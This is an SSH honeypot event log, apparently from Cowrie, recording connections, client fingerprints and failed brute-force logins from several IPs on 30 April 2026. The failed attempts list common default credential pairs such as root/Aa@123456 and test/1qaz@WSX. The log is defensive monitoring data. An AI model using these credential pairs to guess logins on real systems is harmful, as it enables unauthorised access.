ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:22:23.159373Z","src_ip":"176.65.139.95","session":"981dbd28bfe3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa@123456","message":"login attempt [root/Aa@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:22:23.468094Z","src_ip":"176.65.139.95","session":"981dbd28bfe3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:22:24.558449Z","src_ip":"176.65.139.95","session":"981dbd28bfe3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":60354,"dst_ip":"159.203.135.109","dst_port":22,"session":"4a9bd45603ca","protocol":"ssh","message":"New connection: 176.65.139.95:60354 (159.203.135.109:22) [session: 4a9bd45603ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:22:29.394701Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:22:29.406491Z","src_ip":"176.65.139.95","session":"4a9bd45603ca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:22:29.482465Z","src_ip":"176.65.139.95","session":"4a9bd45603ca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"teamspeak","password":"123456","message":"login attempt [teamspeak/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:22:30.002866Z","src_ip":"176.65.139.95","session":"4a9bd45603ca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:22:31.093869Z","src_ip":"176.65.139.95","session":"4a9bd45603ca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"79.116.23.158","src_port":39466,"dst_ip":"10.17.0.5","dst_port":22,"session":"19e44b49bd90","protocol":"ssh","message":"New connection: 79.116.23.158:39466 (10.17.0.5:22) [session: 19e44b49bd90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:22:34.141152Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:22:34.146879Z","src_ip":"79.116.23.158","session":"19e44b49bd90","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:22:34.263512Z","src_ip":"79.116.23.158","session":"19e44b49bd90","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo","password":"odooodoo","message":"login attempt [odoo/odooodoo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:22:34.760963Z","src_ip":"79.116.23.158","session":"19e44b49bd90","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:22:35.880579Z","src_ip":"79.116.23.158","session":"19e44b49bd90","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":60362,"dst_ip":"159.203.135.109","dst_port":22,"session":"a01ad23cf2c2","protocol":"ssh","message":"New connection: 176.65.139.95:60362 (159.203.135.109:22) [session: a01ad23cf2c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:22:35.939733Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:22:35.947701Z","src_ip":"176.65.139.95","session":"a01ad23cf2c2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:22:36.054213Z","src_ip":"176.65.139.95","session":"a01ad23cf2c2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"1qaz@WSX","message":"login attempt [test/1qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:22:36.403299Z","src_ip":"176.65.139.95","session":"a01ad23cf2c2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:22:37.489097Z","src_ip":"176.65.139.95","session":"a01ad23cf2c2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":50892,"dst_ip":"159.203.135.109","dst_port":22,"session":"fb53f30cfcfc","protocol":"ssh","message":"New connection: 176.65.139.95:50892 (159.203.135.109:22) [session: fb53f30cfcfc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:22:42.244862Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:22:42.252127Z","src_ip":"176.65.139.95","session":"fb53f30cfcfc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:22:42.328705Z","src_ip":"176.65.139.95","session":"fb53f30cfcfc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"openclaw","password":"openclaw","message":"login attempt [openclaw/openclaw] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:22:42.696578Z","src_ip":"176.65.139.95","session":"fb53f30cfcfc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:22:43.813656Z","src_ip":"176.65.139.95","session":"fb53f30cfcfc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":51826,"dst_ip":"159.203.135.109","dst_port":22,"session":"1163903ebe2a","protocol":"ssh","message":"New connection: 176.65.139.95:51826 (159.203.135.109:22) [session: 1163903ebe2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:22:48.565774Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:22:48.571979Z","src_ip":"176.65.139.95","session":"1163903ebe2a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":56282,"dst_ip":"159.203.135.109","dst_port":22,"session":"29456ef53e1f","protocol":"ssh","message":"New connection: 159.203.92.129:56282 (159.203.135.109:22) [session: 29456ef53e1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:22:48.656995Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:22:48.661699Z","src_ip":"159.203.92.129","session":"29456ef53e1f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:22:48.666475Z","src_ip":"159.203.92.129","session":"29456ef53e1f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:22:48.673881Z","src_ip":"176.65.139.95","session":"1163903ebe2a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ECC","password":"123","message":"login attempt [ECC/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:22:48.686875Z","src_ip":"159.203.92.129","session":"29456ef53e1f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"dev123456","message":"login attempt [dev/dev123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:22:49.264444Z","src_ip":"176.65.139.95","session":"1163903ebe2a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:22:49.695451Z","src_ip":"159.203.92.129","session":"29456ef53e1f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:22:50.351297Z","src_ip":"176.65.139.95","session":"1163903ebe2a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":51828,"dst_ip":"159.203.135.109","dst_port":22,"session":"e60f885832f5","protocol":"ssh","message":"New connection: 176.65.139.95:51828 (159.203.135.109:22) [session: e60f885832f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:22:55.133088Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:22:55.142930Z","src_ip":"176.65.139.95","session":"e60f885832f5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:22:55.223322Z","src_ip":"176.65.139.95","session":"e60f885832f5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"appuser","password":"123456","message":"login attempt [appuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:22:55.568573Z","src_ip":"176.65.139.95","session":"e60f885832f5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:22:56.661062Z","src_ip":"176.65.139.95","session":"e60f885832f5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":37120,"dst_ip":"159.203.135.109","dst_port":22,"session":"f65197f703fc","protocol":"ssh","message":"New connection: 80.94.92.186:37120 (159.203.135.109:22) [session: f65197f703fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:22:57.607905Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:22:57.637113Z","src_ip":"80.94.92.186","session":"f65197f703fc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:22:57.800430Z","src_ip":"80.94.92.186","session":"f65197f703fc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"latitude","password":"sol","message":"login attempt [latitude/sol] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:22:58.664318Z","src_ip":"80.94.92.186","session":"f65197f703fc","protocol":"ssh"}
